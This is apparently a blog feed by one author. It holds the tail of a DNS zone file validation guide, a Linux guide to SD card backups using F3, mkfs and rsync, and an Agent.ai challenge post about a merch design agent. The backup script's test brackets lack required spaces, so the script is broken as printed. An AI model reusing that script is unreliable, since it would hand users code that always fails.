Website Unavailability : If A or AAAA records are incorrect, your website might become inaccessible.
Email Delivery Failures : Incorrect MX records can prevent email delivery.
Security Vulnerabilities : Improperly configured DNSSEC or SPF records might expose your domain to spoofing attacks.
Propagation Delays : Errors might cause DNS propagation issues, leading to inconsistent behavior across the internet.

Tools for DNS Zone File Validation

BIND Utilities

The BIND DNS server software provides excellent tools for checking zone files:

# Basic syntax check
named-checkzone example.com /path/to/zonefile

# More verbose output
named-checkzone -v example.com /path/to/zonefile

The named-compilezone utility is another helpful tool that can convert between different zone file formats while checking for errors:

named-compilezone -o /dev/null example.com /path/to/zonefile

Online Validators

Several online tools can help validate zone files, particularly useful if you don't have access to a server with BIND utilities installed.

Common Syntax Issues to Watch For

Missing Trailing Dots : Fully qualified domain names should end with a dot.
Incorrect TTL Values : Time-to-live values must be numeric and reasonable.
Record Format Errors : Each record type has specific formatting requirements.
Long TXT Records : TXT records (like those for DKIM) might need to be split into multiple strings.
SOA Record Errors : The Start of Authority record has a complex format that's easy to get wrong.

Best Practices

Use Version Control : Track changes to your zone files.
Test Before Deployment : Always validate before pushing changes to production.
Maintain Documentation : Keep notes about your DNS configuration.
Implement Automated Checks : Set up CI/CD pipelines to validate zone files automatically.
Monitor DNS Health : Regularly check that your DNS is resolving correctly.

Conclusion

Taking the time to properly validate DNS zone files might seem tedious, but it's a crucial step in maintaining a reliable online presence. By catching errors before they propagate, you can avoid downtime and maintain trust with your users. Whether you're managing a personal blog or enterprise infrastructure, proper DNS hygiene is essential for a smooth-running internet presence.

How to Use SD Cards for Backups on Linux

Ramiro Gómez — Tue, 18 Mar 2025 13:46:51 +0000

SD cards have come a long way from being simple storage for digital cameras. With capacities now reaching multiple terabytes, they present an attractive, portable backup solution. However, Linux users often encounter frustrating issues when attempting to leverage these pocket-sized storage powerhouses for serious backup purposes.

In this guide, we'll explore how to properly configure, verify, and utilize SD cards for reliable backups on Linux systems, avoiding common pitfalls that can lead to data loss and corruption.

Choosing the Right Hardware

SD Card Selection

Not all SD cards are created equal. When selecting a card for backup purposes, consider:

Capacity vs. Authenticity : That suspiciously cheap 1TB card might actually be a 32GB card hacked to report a larger size. When the card's real capacity is exceeded, data corruption occurs.
Speed Classification : Look for UHS-I or UHS-II cards with higher speed ratings (V30, V60, V90) for backup operations.
Endurance Rating : Cards designed for surveillance cameras or dashcams often have better write endurance, making them suitable for frequent backups.
Brand Reliability : Stick with reputable brands like SanDisk, Samsung, Kingston, or Lexar from authorized retailers.

Card Readers Matter

A quality card reader can make the difference between successful backups and corrupted data:

USB 3.0 or higher connectivity offers faster transfer speeds
Standalone powered readers provide more stable power than built-in laptop readers
Multi-card readers with dedicated SD slots often perform better than all-in-one solutions

Verifying Your SD Card's Authenticity

Before trusting your precious data to an SD card, verify its authenticity. The excellent open-source tool F3 (Fight Flash Fraud) makes this process straightforward:

# Install F3
sudo apt install f3 # Debian/Ubuntu
sudo dnf install f3 # Fedora/RHEL
sudo pacman -S f3 # Arch Linux

# Write test files to fill the card
f3write /path/to/mounted/sdcard

# Verify the written data
f3read /path/to/mounted/sdcard

A genuine card will show consistent read/write speeds and verified capacity matching the advertised size. Counterfeit cards will report errors once the actual capacity is exceeded.

Choosing the Optimal Filesystem

Your filesystem choice dramatically impacts backup reliability, especially with large-capacity cards:

ext4: The Linux Native Option

sudo mkfs.ext4 /dev/sdX

Pros:

Journaling prevents corruption during unexpected disconnects
Excellent handling of many small files
Best performance on Linux systems

Cons:

Limited compatibility with other operating systems
Requires additional software for Windows/macOS access

NTFS: The Windows-Friendly Option

sudo mkfs.ntfs -f /dev/sdX # -f performs a quick format

Pros:

Good cross-platform compatibility
Handles large files and large volumes well
No practical file size limitations

Cons:

Write performance can be slower on Linux systems
Requires NTFS-3G drivers on Linux

exFAT: The Modern Cross-Platform Solution

# Install exFAT tools
sudo apt install exfatprogs # Ubuntu/Debian
sudo dnf install exfatprogs # Fedora/RHEL

# Format the card
sudo mkfs.exfat /dev/sdX

Pros:

Designed specifically for flash media
Excellent cross-platform compatibility
Handles large files and volumes efficiently
Better than FAT32 for many small files

Cons:

Less robust than ext4 (no journaling)
Requires additional packages on some Linux distributions

FAT32: The Legacy Option (Not Recommended for Backups)

sudo mkfs.vfat -F 32 -s 8 -S 4096 /dev/sdX

Pros:

Universal compatibility
Simple structure

Cons:

4GB file size limitation
Poor handling of many small files
Prone to corruption with large volumes
Not recommended for backup purposes on cards larger than 32GB

Creating Backups with rsync

The rsync utility is the Swiss Army knife of Linux backups. Here's how to leverage it effectively for SD card backups:

Basic Backup Command

rsync -av --progress /source/directory/ /path/to/sdcard/

The trailing slashes are important! They tell rsync to copy the contents of the source directory rather than the directory itself.

Enhanced Integrity Checking

rsync -av --progress --checksum /source/directory/ /path/to/sdcard/

The --checksum option verifies file integrity by comparing file contents rather than just timestamps and sizes. This is slower but catches corruption issues that might otherwise go unnoticed.

Dealing with Problematic Transfers

rsync -av --progress --inplace --no-whole-file --modify-window=1 /source/directory/ /path/to/sdcard/

This command is particularly useful for troublesome SD cards:

--inplace updates files directly rather than creating temporary copies
--no-whole-file transfers changed parts of files only
--modify-window=1 allows for slight timestamp differences

Automating Your Backups

Create a simple backup script:

#!/bin/bash
# SD card backup script with verification and notification

SOURCE="/path/to/data"
DEST="/path/to/mounted/sdcard/backup"
LOG="/home/user/backup_logs/backup_$(date +%Y%m%d_%H%M%S).log"
mkdir -p "$(dirname "$LOG")"

# Ensure SD card is accessible
if ! [-d "$DEST"]; then
    echo "Error: Backup destination not accessible!" | tee "$LOG"
    exit 1
fi

# Check available space
SOURCE_SIZE=$(du -sb "$SOURCE" | cut -f1)
DEST_AVAIL=$(df -P "$DEST" | awk 'NR==2 {print $4 * 1024}')

if ["$SOURCE_SIZE" -gt "$DEST_AVAIL"]; then
    echo "Error: Insufficient space on backup device!" | tee -a "$LOG"
    exit 2
fi

# Perform backup with detailed logging
echo "Backup started at $(date)" | tee -a "$LOG"
rsync -avh --progress --checksum --stats "$SOURCE/" "$DEST/" 2>&1 | tee -a "$LOG"

# Verify successful completion
if [${PIPESTATUS[0]} -eq 0 ]; then
    echo "Backup completed successfully at $(date)" | tee -a "$LOG"

    # Optional: Send notification
    # notify-send "Backup Successful" "Data has been backed up to SD card"
else
    echo "Backup failed with error at $(date)" | tee -a "$LOG"

    # Optional: Send notification
    # notify-send -u critical "Backup Failed" "SD card backup encountered errors"
fi

Make it executable with chmod +x backup_script.sh and schedule with cron if needed.

Troubleshooting Common Issues

Filesystem Errors During Backup

Symptoms: rsync crashes, input/output errors, sudden disconnections Common Causes:

FAT32 limitations with many files or large volumes
Counterfeit card exceeding actual capacity
Card controller issues

Solutions:

Use ext4 or exFAT filesystem instead of FAT32
Verify card authenticity with F3
Try a different card reader
Break backups into smaller batches

Slow Transfer Speeds

Symptoms: Backup takes excessively long time Common Causes:

Low-quality card with poor write performance
Suboptimal card reader
USB bus limitations

Solutions:

Use a card with higher speed rating (V30+)
Use a dedicated USB 3.0+ card reader
Ensure card reader is connected directly to computer, not through a hub

Data Corruption After Backup

Symptoms: Files unreadable or truncated after backup completes Common Causes:

Improper ejection/unmounting
Power fluctuations during write operations
Filesystem not suitable for the card

Solutions:

Always properly unmount before removing: sudo umount /path/to/sdcard
Use a powered card reader
Consider using a journaling filesystem like ext4
Use the --checksum option with rsync to verify integrity

Best Practices for SD Card Backups

Always verify your backups. Don't assume the data was written correctly.
Label your cards. Physical labels with date and content information prevent confusion.
Store cards properly. Use protective cases and keep away from magnetic fields.
Rotate multiple cards. Don't rely on a single backup medium.
Periodically refresh data. SD cards can lose data over very long storage periods (years).
Check filesystem integrity regularly: fsck /dev/sdX

Conclusion

SD cards can be excellent backup solutions for Linux users when properly configured and managed. By choosing the right card, verifying its authenticity, selecting an appropriate filesystem, and using robust backup commands, you can create a reliable, portable backup solution.

Remember that while SD cards offer convenience, they should be part of a broader backup strategy. Consider the 3-2-1 backup rule: three copies of your data, on two different media types, with one copy stored off-site.

Merch Design Creator AI Agent

Ramiro Gómez — Tue, 21 Jan 2025 20:00:23 +0000

This is a submission for the Agent.ai Challenge: Productivity-Pro Agent (See Details)

What I Built

I built the Merch Design Creator AI Agent, an agent that helps with the creation of merchandise products. Users enter a topic, and the agent comes up with a design concept and generates an image and texts for a product listing on print-on-demand shops.

I built the agent because I create and sell merchandise designs myself. In my experience the images created by AI tools are not usable as is, but can be a great starting point or serve as inspiration for a design to create.

Coming up with a product listing is probably the part I like least about the whole process, so I wanted the agent to handle this as well. While the generated text may require some revision, it provides a solid starting point.

Demo

https://agent.ai/agent/merch-design-creator

Agent.ai Experience

The Agent Builder user interface is nice and quite intuitive. I didn't understand how to set up the actions properly right away, but after watching the getting started videos building my first agent (this one) was pretty straightforward.

So far I've used only a fraction of the available actions. I'm curious to explore other features, especially the advanced actions for running custom JavaScript or Python functions.

At first, I was skeptical, that this tool was worthwhile, but after I got a grasp how to use it, I realized that this is a powerful tool for automating various tasks without requiring code.

Overall, the Merch Design Creator AI Agent was a fun and productive project to build. It has already produced some designs and texts that I want to build upon. I'm excited to see how it could benefit others in the creative community. If you try it out, I'd love to hear your feedback or suggestions for improvement!
